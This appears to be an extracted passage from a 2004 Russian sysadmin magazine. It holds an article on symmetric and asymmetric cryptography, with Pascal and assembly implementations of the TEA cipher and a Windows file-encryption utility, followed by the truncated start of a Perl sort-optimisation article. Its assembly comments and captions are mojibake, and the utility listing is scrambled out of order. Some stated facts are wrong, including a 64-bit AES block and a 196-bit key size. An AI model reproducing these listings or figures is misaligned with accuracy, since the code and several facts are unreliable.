Симметричные алгоритмы. Основные стандарты и проблема использования Симметричные алгоритмы шифрования получили чрезвычайно широкое распространение благодаря высоким показателям стойкости шифрования и простоты как в аппаратной, так и в программной реализациях. Характерной особенностью симметричных алгоритмов является то, что исходное сообщение предварительно разбивается на блоки фиксированного размера, из-за чего эти алгоритмы получили название блочных шифров. В качестве примеров симметричных алгоритмов шифрования можно привести отечественный стандарт ГОСТ 28147-89 и наиболее известный стандарт шифрования DES (Data Encryption Standart), долгое время являвшийся основным стандартом шифрования в мире. Однако стремительный рост вычислительных возможностей современных ЭВМ привел к тому, что взлом алгоритма DES методом полного перебора в реальном масштабе времени перестал быть непосильной задачей, и соответственно криптографическая стойкость DES перестала удовлетворять требованиям, предъявляемым к международному стандарту. Кроме того, появились алгоритмы, превосходящие DES по всем параметрам. Учитывая данный факт, Национальный институт стандартизации и технологий США (NIST, National Institute of Standards and Technology) в 1997 году объявил открытый конкурс на новый стандарт симметричного алгоритма шифрования США. Победитель конкурса получал статус нового стандарта шифрования AES (Advanced Encryption Standard) и автоматически становился de-facto общемировым стандартом шифрования. Требования к новому стандарту шифрования были весьма простыми: алгоритм должен иметь размер блока 64 бит и поддерживать ключи шифрования длиной 128, 196 и 256 бит. В конкурсе принимали участие 15 алгоритмов, и только 5 из них прошли во второй этап. Все эти 5 алгоритмов обладали исключительной криптографической стойкостью: ! MARS, разработка IBM; ! RC6, разработка группы ученых под руководством Рональда Ривеста (Ronald Rivest), RSA Laboratories; ! RIJNDAEL, разработка двух специалистов по криптографии из Бельгии, J.Daemen, V.Rijmen; ! SERPENT, разработка R.Anderson, E.Bihman, L.Knudsen; ! TWOFISH, разработка компании Counterpane Security Systems, возглавляемой Брюсом Шнайером (Bruce Schneier), на основе алгоритма BLOWFISH. По итогам конкурса, новым стандартом блочного шифрования был объявлен алгоритм RIJNDAEL. С алгоритма
№4(17), апрель 2004
RIJNDAEL по условиям конкурса сняты все патентные ограничения, и сам алгоритм получил почетное второе именование: Advanced Encryption Standard – AES. Симметричные алгоритмы шифрования характеризуются тем, что используют один и тот же ключ как для шифрования, так и для расширования информации. Таким образом, любой обладатель ключа может получить доступ к конфиденциальной информации. Отсюда и вытекает главная проблема использования симметричных алгоритмов – ключ должен быть доступен только тем, кому адресована информация, и никому более, поэтому ключ является секретным. Любая утечка (или даже подозрение об утечке) ключевых данных приводит к компрометации всей сети связи и требует немедленной замены ключей на всех узлах сети. Таким образом, использование симметричных алгоритмов шифрования требует наличия целой системы распределения ключей, которая представляет собой комплекс организационно-технических мер, направленных на предотвращение возможности утечки и компрометации секретных ключей. Симметричные алгоритмы шифрования идеально подходят для шифрования информации «для себя», например, с целью предотвратить несанкционированный доступ к ней в отсутствие владельца. Это может быть как шифрование выбранных файлов, так и прозрачное шифрование целых логических или физических дисков.
Асимметричные алгоритмы Асимметричные алгоритмы используют сложный математический аппарат, вследствие чего являются более ресурсоемкими и медленными по сравнению с симметричными алгоритмами, однако они позволяют преодолеть недостаток, присущий симметричным алгоритмам, за счет использования двух ключей – открытого ключа и секретного ключа. Открытый ключ предназначен для шифрования информации. Любой желающий может получить доступ к открытому ключу и зашифровать при помощи этого ключа информацию. Расшифровать эту информацию можно только при помощи секретного ключа, доступ к которому должен иметь только владелец. Очевидно, что сохранить в секрете единственный ключ, без необходимости его передачи кому-либо, намного проще, чем организовать безопасную систему распределения секретных ключей, как в симметричных алгоритмах. Однако и здесь не все так хорошо, как хотелось бы – существует угроза подмены открытого ключа, и это приводит к тому, что вся корреспонденция, направленная владельцу ключа, будет проходить через руки злоумышленника со всеми вытекающими отсюда последствиями. Для борьбы с подменой открытых ключей создаются центры сертификации.
Перспективы развития современной криптографии Наиболее перспективным направлением развития криптографии с открытым ключом является использование эллиптических кривых (ECC, Elliptic Curves Cryptography). Как сообщает Computerra (www.computerra.ru), в 2003 году Агентство национальной безопасности США купило лицензию на коммерческую криптотехнологию ECC у канадской фирмы Certicom (http://www.certicom.com), осно-
65
безопасность ванной в 1985 году группой ученых-математиков для коммерциализации своего изобретения в области шифрования с открытым ключом – криптосистемы на эллиптических кривых, или ECC (elliptic curve cryptography). Стойкость шифрования системы ECC базируется на сложности задачи дискретного логарифмирования, при этом высокая стойкость криптосистемы достигается при значительно меньших длинах ключей, нежели в RSA. Согласно рекомендациям Национального института стандартов и технологий (НИСТ) США, эквивалентом 1024-битного ключа RSA, к примеру, является ECC-ключ длиной всего 163 бита (соотношение 6:1). Причем зависимость эта нелинейна, так что для 512-битного ключа ECC размер аналога в системе RSA составляет уже 15360 бит (соотношение 30:1). Столь выдающиеся характеристики делают ECC особенно привлекательной для применения в тех аппаратных условиях, где предъявляются строгие ограничения на размер памяти и объем допустимых вычислительных ресурсов (устройства типа смарт-карт). Широкому внедрению ECC долго мешала слабая изученность математического фундамента криптосистемы, но поскольку двадцать лет серьезнейших исследований не выявили в технологии слабостей, сегодня, по мнению многих криптографов, ее можно считать вполне зрелой. Очевидным подтверждением тому стал и нынешний выбор АНБ, за 25 млн. долларов купившего у Certicom неэксклюзивную лицензию на эллиптические кривые и, если верить сообщениям, намеренного использовать в своих шифрсредствах 512-битные ключи ECC. По условиям контракта АНБ получило права на сублицензирование технологии своим собственным клиентам, имеющим дело с национальной безопасностью. В разное время лицензии на ECC приобрели более трехсот фирм, включая Cisco Systems, Motorola, Oracle, Palm и Texas Instruments. Еще одно перспективное направление современной криптографии – квантовая криптография. Это направление позволяет обеспечить безопасную передачу ключевых данных по волоконно-оптическому кабелю. Суть заключается в следующем: информация о ключе кодируется в одном-единственном фотоне света, который затем передается получателю. Согласно законам квантовой физики, невозможно измерить один параметр фотона, не исказив при этом другой. Поэтому попытка перехвата ключа неминуемо спровоцирует нарушения в квантовой системе и приведет к искажению передаваемой информации. Таким образом, факт проникновения в систему можно достаточно легко установить, а обменивающимся сторонам придется только повторить сеанс связи с другим ключом (www.computerra.ru).
Алгоритм TEA Алгоритм TEA (Tiny Encryption Algorithm) относится к классу симметричных алгоритмов. Этот алгоритм был разработан в Кембриджском университете как классическая сеть Фейштеля с оптимизацией под 32-разрядные микропроцессоры. Размер блока – 64 бит, длина ключа – 128 бит. В алгоритме использована сеть Фейштеля с двумя ветвями в 32 бита каждая. Образующая функция F обрати-
66
ма. Сеть Фейштеля несимметрична из-за использования в качестве операции наложения не исключающего «ИЛИ», а арифметического сложения. Сеть Фейштеля является модификацией метода смешивания текущей части шифруемого блока с результатом некоторой функции. Данная функция вычисляется от другой независимой части блока. Этот метод часто используется, потому что обеспечивает многократное использовании ключа и материала исходного блока информации.
Ðèñóíîê 1. Ñõåìà ðàáîòû àëãîðèòìà TEA
Недостатком алгоритма является некоторая медлительность, вызванная необходимостью повторять цикл Фейштеля 32 раза (это необходимо для тщательного «перемешивания данных» из-за отсутствия табличных подстановок). Рассмотрим примеры реализации данного алгоритма на языках Паскаль и ассемблере. Рассмотрим листинг на языке Паскаль (tea.pas): const Delta=$9E3779B9; procedure EnCrypt(var y,z:longword; k0,k1,k2,k3:longword); var a,sum:longword; begin sum:=0; for a:=0 to 31 do begin inc(sum,Delta); inc(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1)); inc(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3)); end; end; procedure DeCrypt(var y,z:longword; k0,k1,k2,k3:longword); var a,sum:longword; begin sum:=Delta shl 5; for a:=0 to 31 do begin dec(z,((y shl 4)+k2) xor (y+sum) xor ((y shr 5)+k3)); dec(y,((z shl 4)+k0) xor (z+sum) xor ((z shr 5)+k1)); dec(sum,Delta); end; end;
безопасность Рассмотрим листинг на ассемблере (tea_128.asm): ;--------------------------------------------------------; ; BUFFER TO ENCRYPT -> EDX ; ; KEY TO ENCRYPT -> EAX ; ; SIZE OF BUFFER (div 4 = 0) -> ECX ; ;--------------------------------------------------------; total_encrypt: pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå mov mov work__: pusha call popa add sub loop
esi,eax edi,edx
; Êëàäåì â esi – eax ; Êëàä¸ì â edi – edx
Encrypt
; Ñîõðàíÿåì âñ¸ â ñòåêå ; Øèôðóåì ïåðâûå 64 áèòà äàííûõ ; Âîññòàíàâëèâàåì èç ñòåêà
edi,8 ecx,7 work__
; Äîáàâëÿåì ê edi – 8 ; Îòíèìàåì îò ecx – 7 ; Ïðîäîëæàåì øèôðîâàòü
popa ; Âîññòàíàâëèâàåì èç ñòåêà ret ; Âîçâðàò èç ïîäïðîãðàììû ;--------------------------------------------------------; ; BUFFER TO DECRYPT -> EDX ; ; KEY TO DECRYPT -> EAX ; ; SIZE OF BUFFER (div 4 = 0) -> ECX ; ;--------------------------------------------------------; total_decrypt: pusha ; Ñîõðàíÿåì âñ¸ â ñòåêå mov mov work2__: pusha call popa add sub loop
esi,eax edi,edx
; Êëàä¸ì â esi – eax ; Êëàä¸ì â edi – edx
decrypt
; Ñîõðàíÿåì âñ¸ â ñòåêå ; Øèôðóåì ïåðâûå 64 áèòà äàííûõ ; Âîññòàíàâëèâàåì èç ñòåêà
edi,8 ecx,7 work2__
; Äîáàâëÿåì ê edi – 8 ; Îòíèìàåì îò ecx – 7 ; Ïðîäîëæàåì øèôðîâàòü
popa ; Âîññòàíàâëèâàåì èç ñòåêà ret ; Âîçâðàò èç ïîäïðîãðàììû ;--------------------------------------------------------; Encrypt: push edi ; Ñîõðàíÿåì edi â ñòåêå mov ebx,v0 ; Êëàäåì â ebx ïåðâûå ; 32 áèòà äàííûõ mov ecx,v1 ;  ecx êëàäåì âòîðûå ; 32 áèòà äàííûõ xor eax,eax ; Îáíóëÿåì eax mov edx,9e3779b9h ;  edx -> sqr(5)-1 * 231 mov edi,32 ; Êëàäåì â edi - 32 ELoopR: add eax,edx ; Äîáàâëÿåì ê eax – edx mov ebp,ecx ; Êëàä¸ì â ebp – ecx shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî add ebx,ebp ; Äîáàâëÿåì ê ebx – ebp mov ebp,k0 ; Êëàä¸ì â ebx ïåðâûå ; 32 áèòà êëþ÷à xor ebp,ecx ; Ñðàâíèâàåì èõ ñî âòîðûìè ; 32 áèòàìè äàííûõ add ebx,ebp ; Äîáàâëÿåì ê ïåðâûì ; 32 áèòàì äàííûõ ðåçóëüòàò mov ebp,ecx ; Êëàä¸ì â ebp – ecx shr ebp,5 ; Äåëèì ebp íà 32 xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax add ebx,ebp ; Äîáàâëÿåì ê ebx – ebp add ebx,k1 ; Äîáàâëÿåì ê ebx – âòîðûå ; 32 áèòà êëþ÷à ; mov ebp,ebx ; Êëàäåì â ebp – ebx shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp mov ebp,k2 ; Êëàäåì â ebp òðåòüè ; 32 áèòà êëþ÷à xor ebp,ebx ; Ñðàâíèâàåì ebp ñ ebx add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp mov ebp,ebx ; Êëàäåì â ebp – ebx shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax add ecx,ebp ; Äîáàâëÿåì ê ecx – ebp add ecx,k3 ; Äîáàâëÿåì ê ecx – ; ÷åòâ¸ðòûå 32 áèòà êëþ÷à dec edi ; Óìåíüøàåì edi íà åäèíèöó jnz ELoopR ; Øèôðóåì äàëüøå
№4(17), апрель 2004
pop mov
edi v0,ebx
; Âûíèìàåì èç ñòåêà edi ; Êëàäåì ðåçóëüòàòû ; øèôðîâàíèÿ â îòâåä¸ííîå mov v1,ecx ; äëÿ íèõ ìåñòî ret ; Âîçâðàò èç ïîäïðîãðàììû ;-------------------------------------------------------; Decrypt: push edi ; Ñîõðàíÿåì edi â ñòåêå mov ebx,v0 ; Êëàäåì â ebx ïåðâûå ; 32 áèòà äàííûõ mov ecx,v1 ;  ecx êëàäåì âòîðûå ; 32 áèòà äàííûõ mov edx,9e3779b9h ;  edx -> sqr(5)-1 * 231 mov eax,edx ; Êëàäåì â eax – ed shl eax,5 ; Ñäâèã eax âëåâî íà 5 áèò mov edi,32 ; Êëàäåì â edi – 32 DLoopR: mov ebp,ebx ; Êëàäåì â ebp – ebx shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî sub ecx,ebp ; Îòíèìàåì îò ecx – ebp mov ebp,k2 ; Êëàäåì â ebp òðåòüè ; 32 áèòà êëþ÷à xor ebp,ebx ; Ñðàâíèâàåì ebp ñ ebx sub ecx,ebp ; Îòíèìàåì îò ecx – ebp mov ebp,ebx ; Êëàäåì â ebp – ebx shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax sub ecx,ebp ; Îòíèìàåì îò ecx – ebp sub ecx,k3 ; Îòíèìàåì îò ecx – ; ÷åòâ¸ðòûå 32 áèòà êëþ÷à ; mov ebp,ecx ; Êëàäåì â ebp – ecx shl ebp,4 ; Ñäâèã ebp íà 4 áèòà âëåâî sub ebx,ebp ; Îòíèìàåì îò ebx – ebp mov ebp,k0 ; Êëàäåì â ebx ïåðâûå ; 32 áèòà êëþ÷à xor ebp,ecx ; Ñðàâíèâàåì ebp ñ eñx sub ebx,ebp ; Îòíèìàåì îò ebx – ebp mov ebp,ecx ; Êëàä¸ì â ebp – ecx shr ebp,5 ; Ñäâèã ebp âïðàâî íà 5 áèò xor ebp,eax ; Ñðàâíèâàåì ebp ñ eax sub ebx,ebp ; Îòíèìàåì îò ebx – ebp sub ebx,k1 ; Îòíèìàåì îò ebx – ; âòîðûå 32 áèòà êëþ÷à sub eax,edx ; Îòíèìàåì îò eax – edx dec edi ; Óìåíüøàåì edi íà åäèíèöó jnz DLoopR ; Äåøèôðóåì äàëüøå pop mov
edi v0,ebx
; Âûíèìàåì èç ñòåêà edi ; Êëàä¸ì ðåçóëüòàòû ; øèôðîâàíèÿ â îòâåä¸ííîå mov v1,ecx ; äëÿ íèõ ìåñòî ret ; Âîçâðàò èç ïîäïðîãðàììû ;-------------------------------------------------------; v0 equ dword ptr [edi] v1 equ dword ptr [edi+4] k0 equ dword ptr [esi] k1 equ dword ptr [esi+4] k2 equ dword ptr [esi+8] k3 equ dword ptr [esi+12]
Как вы могли заметить, алгоритм довольно-таки простой и легко реализуем на ассемблере. Теперь на базе данного алгоритма разработаем утилиту для шифрования файлов, ориентированную на ОС Windows. Рассмотрим листинг (fencu.asm): .386 .model flat, stdcall callx macro x extrn x:proc call x endm
; ; Ìàêðîñ äëÿ óïðîùåíèÿ ; èñïîëüçîâàíèÿ WIN API ;
.data start: ;--------------------------------------------------------; push offset usage__ ; callx printf ; Âûâîäèì ñîîáùåíèå ; îá èñïîëüçîâàíèè äàííîé add esp,4 ; ïðîãðàììû callx GetCommandLineA mov esi,eax
; Ïîëó÷àåì êîìàíäíóþ ñòðîêó ; Ïîìåùàåì óêàçàòåëü íà ; êîìàíäíóþ ñòðîêó â esi
67
безопасность call t__
d__:
w__: ex__:
lodsw cmp ax,'E-' jne d__ mov flag,1 jmp w__ cmp ax,'D-' jne ex__ mov flag,2
; ; ; ; ; ; ; ; ;
Çàãðóæàåì ïàðàìåòð â ax Ïðîâåðÿåì – ìû áóäåì øèôðîâàòü? Íåò, èäåì íà ñëåäóþùóþ ïðîâåðêó Óñòàíàâëèâàåì ôëàã â 1 È ïåðåõîäèì ê øèôðîâàíèþ
call f_open
; Ðàáîòàåì ñ ôàéëîì
mov al,flag test al,al jnz ex2__
; Ïîìåùàåì â al – ôëàã ; Ïðîâåðÿåì åãî ; Åñëè âñ¸ íîðìàëüíî, òî íà âûõîä
Ïðîâåðÿåì – ìû áóäåì äåøèôðîâàòü? Íåò, èäåì íà âûõîä
push offset invalid1_ callx printf add esp,4
; ; Âûâîäèì ñîîáùåíèå îá îøèáêå ;
ex2__: push 0 ; callx ExitProcess ; Çàâåðøåíèå ïðîöåññà ;--------------------------------------------------------; t__: ; lodsb ; Ïðîâåðÿåì âñå ñèìâîëû íà ðàâåíñòâî cmp al,20h ; ïðîáåëó. Åñëè íàøëè ïðîáåë, òî jne t__ ; òåïåðü esi óêàçûâàåò íà argv[1] ret ;--------------------------------------------------------; f_open: pusha ; Ñîõðàíÿåì âñå â ñòåêå call t__ ; Íàõîäèì èìÿ ôàéëà push esi ; Ñîõðàíÿåì óêàçàòåëü â ñòåêå call t__ ; Íàõîäèì ñëåäóþùèé ïàðàìåòð dec esi ; Ïåðåõîäèì íà ðàçäåëÿþùèé ïðîáåë mov byte ptr[esi],0 ; È çàìåíÿåì åãî íóëåì pop esi ; Âîññòàíàâëèâàåì óêàçàòåëü èç ñòåêà push esi ; È òóò æå êëàäåì åãî îáðàòíî â ñòåê xor eax,eax ; push eax ; push 00000080h ; push 3 ; push eax ; push 00000001h OR 00000002h ; push 40000000h OR 80000000 ; push esi ; Îòêðûâàåì ñóùåñòâóþùèé callx CreateFileA ; ôàéë (esi)
g__:
lea ebx,total_encrypt
; ; ; ; ; ; ; ; ;
pop esi call t__
; Ïîëó÷àåì óêàçàòåëü ; íà íàø 128 áèòíûé êëþ÷
cmp flag,1 je d2__ lea ebx,total_decrypt d2__: d3__:
jmp d3__
mov edx,mHnd2 mov eax,esi mov ecx,sz_ call ebx push mHnd2 callx UnmapViewOfFile
Ñîõðàíÿåì óêàçàòåëü íà ïàìÿòü Ïðîâåðÿåì, êàêàÿ íàì ôóíêöèÿ íóæíà: øèôðîâêè èëè äåøèôðîâêè è êëàäåì å¸ ñìåùåíèå â ebx
; Äåøèôðóåì äàííûå ; íàøèì êëþ÷îì (128 áèò) ; sz_ áàéò – äëèíà äàííûõ ; ; ; Çàêàí÷èâàåì èçìåíåíèå ; ôàéëà â ïàìÿòè è êëàä¸ì ; åãî îáðàòíî
error3_: push mHnd ; callx CloseHandle ; Çàêðûâàåì ïàìÿòü error2_: push fHnd ; callx CloseHandle ; Çàêðûâàåì ôàéë error_: popa ; Âûíèìàåì âñ¸ èç ñòåêà ret ; Âîçâðàò èç ïîäïðîãðàììû ;--------------------------------------------------------; fHnd dd 0 ; sz_ dd 0 ; mHnd dd 0 ; s2read dd 0 ; Äàííûå mHnd2 dd 0 ; flag db 0 ; usage__: db '|----------------------------------------------|',0ah,0dh db '| [FILE ENCRYPTION UTILITE (BASED ON TEA) BY SLON] |',0ah,0dh db '|----------------------------------------------|',0ah,0dh db '| USAGE: FENCU.EXE [-D OR -E] [FILENAME] [128 BIT KEY] |',0ah,0dh db '| -D : DECRYPT FILE |',0ah,0dh db '| -E : ENCRYPT FILE |',0ah,0dh db '| EXAMPLE: FENCU.EXE -E HELLO.TXT 1234567890abcdef |',0ah,0dh db '|----------------------------------------------|',0ah,0dh db 0ah,0dh,0
inc eax test eax,eax jnz g__ push offset file_err_ callx printf add esp,4
; ; ; ; ; ;
dec eax
; Óìåíüøàåì eax íà 1
invalid1_: db '[INVALID PARAMETER, EXITING ...]',0ah,0dh,0 file_err_: db '[FILE ERROR, EXITING ...]',0ah,0dh,0 ;--------------------------------------------------------; include tea_128.asm ;--------------------------------------------------------; .code nop end start
; Ñîõðàíÿåì õýíäë ôàéëà
end
mov fHnd,eax push s2read push eax callx GetFileSize mov sz_,eax
; ; ; ; ; push 0 ; push sz_ ; push 0 ; push 4 ; push 0 ; push fHnd ; callx CreateFileMappingA ; mov mHnd,eax or eax,eax jz error2_
Åñëè âîçíèêëà îøèáêà, òî ïåðåõîäèì íà error_ è âûâîäèì ñîîáùåíèå
Ïîëó÷àåì åãî ðàçìåð è ñîõðàíÿåì åãî â sz_ Âûäåëÿåì ïàìÿòü èìÿ ôàéëà õýíäë = 0 ìàêñèìàëüíûé ðàçìåð = memory ìèíèìàëüíûé ðàçìåð = 0 äîñòóï ÷òåíèå/çàïèñü
; Ñîõðàíÿåì õýíäë ïàìÿòè ; åñëè îøèáêà, òî íà âûõîä ;
push sz_ push 0 push 0 push 2 push eax callx MapViewOfFile test eax,eax je error3_
68
mov mHnd2,eax
; Ïîëó÷àåì óêàçàòåëü ; íà ïåðâûé ïàðàìåòð
; ; ; ; ; ; ; ;
êîëè÷åñòâî ïàìÿòè äëÿ ðàáîòû Ðåæèì çàïèñè õýíäë Âûçûâàåì ôóíêöèþ Åñëè îøèáêà, òî íà âûõîä
Итак, к чему мы пришли в итоге – мы смогли написать утилиту, которая шифрует файлы по алгоритму TEA на основе 128-битного ключа. Вскрытие таких файлов нельзя назвать невозможным, но можно назвать крайне трудоемким и времениемким, базируясь на текущих разработках. Данную утилиту можно было бы оптимизировать таким образом, чтобы ключи хранить на дискете. При этом необходимо обеспечить безопасное хранение этой дискеты, чтобы она не попала в руки злоумышленника. Кроме того, если дискета потеряется или испортится, то доступ к зашифрованным файлам станет невозможным. Именно поэтому решать использовать внешний носитель для хранения секретного ключа или нет – дело каждого из нас. Что касается меня, то я больше доверяю своей памяти. Отдельное спасибо Владимиру Мешкову за помощь в плготовке статьи.
программирование
ОПТИМИЗАЦИЯ СОРТИРОВКИ В PERL
В пилотном номере журнала «Системный администратор» была опубликована статья Даниила Алиевского – «Эффективное использование памяти в Perl при работе с большими строками». Тогда-то у меня и возникла мысль написать статью об эффективном использовании времени в Perl, то есть об оптимизации, направленной на увеличение быстродействия.
АЛЕКСЕЙ МИЧУРИН При работе с массивами (списками)1 сортировка является, наверное, наиболее частой операцией. Я не беру в расчёт операции, отвечающие фактически за создание списков: присоединение и удаление элементов, объединение массивов, срез и тому подобные; мы займёмся преобразованием уже созданных списков. Мало кто поспорит с тем, что процедура сортировки является весьма ресурсоёмкой. Можно ли снизить нагрузку на систему, не вмешиваясь в сам алгоритм сортировки? В этой статье я хотел бы рассказать о путях оптимизации сортировки в Perl, но думаю, что изложенные здесь приёмы могут быть полезны и для программистов на других языках. Особенно, когда речь идёт о языках высокого уровня, где уже существуют встроенные функции сортировки, и вам не надо писать алгоритм сортировки самостоятельно, но и вмешаться в него вы уже не можете. Я не смогу написать здесь учебник по Perl, но я постараюсь
70
сделать статью максимально понятной и для людей, не знакомых с Perl. Давайте сперва изучим особенности алгоритма сортировки, вернее особенности её реализации в Perl 5.6. Я не буду здесь рассматривать саму реализацию. Она достаточно сложна и вместе с тем отлично прокомментирована в исходных кодах Perl. Если вас интересует этот вопрос, просто почитайте исходные коды. Итак, приступим.
Оценка производительности сортировки в Perl В качестве критерия производительности я выбрал величину, равную отношению: в числителе – количество сравнений, необходимое для выполнения сортировки, в знаменателе – количество элементов в сортируемом списке. То есть величину, показывающую, сколько сравнений приходится в среднем на один элемент списка. Естественно,
программирование эта величина зависит и от размера массива, и от меры его начальной упорядоченности.
В результате выполнения этой команды элементы массива @unsorted сортируются по алфавиту и новый, сортированный, список помещается в массив @sorted4. Ценность функции sort для программиста была бы не велика, если бы это была единственная её форма, но, к счастью, функция sort допускает формулирование любого критерия сортировки. Вторая форма такова: Ëèñòèíã 2 # Ôóíêöèÿ sort ñ çàäàííûì êðèòåðèåì ñîðòèðîâêè @sorted = sort {...} @unsorted;
Ðèñóíîê 1. Ðåçóëüòàòû òåñòîâ ïðîèçâîäèòåëüíîñòè âñòðîåííîé ïðîöåäóðû ñîðòèðîâêè ÿçûêà Perl äëÿ èçíà÷àëüíî óïîðÿäî÷åííûõ ìàññèâîâ (óïîð.), îáðàòíîóïîðÿäî÷åííûõ ìàññèâîâ (îáð.) è íå óïîðÿäî÷åííûõ ìàññèâîâ (ñëó÷.) ðàçëè÷íîé äëèíû2.
На приведённой диаграмме показаны результаты тестов, проведённых на разных массивах. Тестировались три рода массивов: упорядоченный (в результате сортировки массив не менялся), обратноупорядоченный (в результате сортировки массив перестраивался в обратном порядке) и массив случайных величин (для этого случая на диаграмме показаны средние значения). Как видите, наименее ресурсоёмкой оказалась сортировка уже отсортированного массива, чего, наверное, и следовало ожидать. Менее тривиальный результат состоит в том, что для сортировки обратноупорядоченного массива требуется не намного больше актов сравнения, чем для упорядоченного. И самой ресурсоёмкой оказывается сортировка «случайного» (неупорядоченного) списка. Такие результаты тестов не случайны3, но мы договорились, что не будем затрагивать тонкости реализации, оставив их для разработчиков языков. Просто сортировка такова и результаты тестов таковы. Самым важным и интересным для нас в этих тестах является то, что количество необходимых для сортировки актов сравнения возрастает непропорционально количеству элементов в списке. То есть для сортировки случайной последовательности из 10 элементов необходимо (в среднем) 23 сравнения, а для сортировки подобного списка из 10 000 элементов необходимо не 23 000 сравнений, а в шесть(!) раз больше – 136 000. Обратите внимание, эта закономерность выполняется для любых списков, независимо от их начальной упорядоченности. Здесь-то перед программистом и открывается кажущийся бескрайним простор для оптимизации кода. Давайте перейдём от сухой теории к практическим рецептам (пока тоже достаточно сухим).
Сортировка в Perl и её оптимизация Для сортировки массивов и списков в Perl предусмотрена встроенная функция sort, которая в самой простой своей форме может использоваться так: Ëèñòèíã 1 # Ýëåìåíòàðíîå ïðèìåíåíèå ôóíêöèè sort @sorted = sort @unsorted;
№4(17), апрель 2004
При каждом сравнении в блоке операторов {...} автоматически создаются две локальные5 переменные $a и $b, которые являются синонимами сравниваемых элементов исходного списка @unsorted. Из-за этой синонимичности менять значение этих переменных весьма нежелательно, это приведёт к изменения соответствующих элементов списка @unsorted и может сбить sort с толку. Результат выполнения блока интерпретируется так же, как результат выполнения операторов <=> и cmp. То есть блок сообщает, какой из двух элементов следует считать меньшим. Пример: Ëèñòèíã 3 # Ñîðòèðîâêà ÷èñåë ïî óáûâàíèþ @sorted = sort {$b <=> $a} @unsorted;
В этом примере элементы списка сравниваются уже как числа. При каждом сравнении, для пары сравниваемых элементов создаются синонимы – локальные переменные $a и $b; выполняется блок {$b <=> $a}; по его результатам sort делает вывод – надо ли переставить элементы или следует сохранить прежний порядок. Как видите, в нашем случае сортировка выстроит числа, составляющие массив @unsorted по убыванию. Для иллюстрации подхода, который я собираюсь описать, более подходит следующий пример, реализующий сортировку строк по алфавиту без учёта регистра: Ëèñòèíã 4 # Ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà ðåãèñòðà # (îïòèìèçàöèè íåò) @sorted = sort {uc($a) cmp uc($b)} @unsorted;
Здесь, выполняя каждое сравнение, мы преобразуем операнды cmp к верхнему регистру; uc – встроенная функция Perl6. Обратите внимание, мы не сохраняем результат работы uc. Вот тут-то и кроется возможность оптимизировать нашу работу. Итак, блок {uc($a) cmp uc($b)} выполняется столько раз, сколько сравнений необходимо для сортировки. Функция uc вызывается дважды при каждом выполнении блока. Давайте оценим, сколько раз она выполнится. Цифры оказываются весьма красноречивы. Для сортировки «случайного» (неупорядоченного) списка из 1000 строк понадобится в среднем 19 460 вызовов uc. То есть каждый элемент списка будет преобразован в верхний регистр почти двадцать раз! Для аналогичного списка из 1 000 000 строк Perl придётся вызывать uc 4 3180 000 раз,
71
программирование и каждый элемент будет преобразован более 43 раз. Конечно, такая трата вычислительных ресурсов совершенно не оправданна. Для оптимизации быстродействия нам придётся пожертвовать памятью, но, к счастью, память сейчас не дорога, а вот время всегда – деньги. Путь оптимизации очень прост, суть его такова: Ëèñòèíã 5 # Îïòèìèçèðîâàííàÿ ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà # ðåãèñòðà; äëèííàÿ ôîðìà ñ âðåìåííûìè ìàññèâàìè @temp_unsorted = map {[uc, $_]} @unsorted; @temp_sorted = sort {$a->[0] cmp $b->[0]} @temp_unsorted; @sorted = map {$_->[1]} @temp_sorted;
Здесь нам встречается оператор map, позвольте сказать два слова о нём для тех, кто не знаком с Perl. Оператор map получает в качестве аргументов блок операторов и массив; блок операторов применяется последовательно к каждому элементу массива, в каждой итерации переменная $_7 становится синонимом очередного элемента; все результаты итераций возвращаются оператором в виде массива результатов. Давайте теперь посмотрим, как работает последний листинг. Сперва (первый вызов map), мы создаём временный несортированный массив @temp_unsorted, состоящий из указателей на двухэлементные массивы. Нулевой элемент каждого из них содержит критерий сортировки. В нашем случае это строка в верхнем регистре. Первый элемент содержит оригинальную (исходную) строку. Созданная нами конструкция напоминает двумерный массив. В Perl не предусмотрено многомерных массивов, их роль выполняют массивы указателей на массивы. В данном случае нам нужно именно это, и при реализации подобного подхода на других языках понадобится скорее всего нечто подобное. Работа с настоящим двумерным массивом в этой ситуации может оказаться менее эффективной (в зависимости от конкретной реализации двумерных массивов в языке). Затем (вызов sort) мы сортируем временный массив @temp_unsorted, используя в качестве критерия сортировки нулевые элементы анонимных двухэлементных массивов. В переменной @temp_sorted получаем уже отсортированный массив указателей на наши двухэлементные массивы. Наконец (второй вызов map), восстанавливаем отсортированный массив @sorted, извлекая оригинальные строки из первых элементов анонимных массивов, указатели на которые составляют @temp_sorted. Вы уже заметили, что теперь мы вычисляем uc ровно столько раз, сколько у нас сортируемых элементов. Это прогресс! Но теперь кроме sort мы дважды вызываем map. Это лишняя трата времени. Тем не менее, затраты времени на выполнение map растут пропорционально количеству элементов в массиве @unsorted, а экономия времени на выполнение процедуры sort растёт пропорционально количеству сравнений, то есть гораздо быстрее,
72
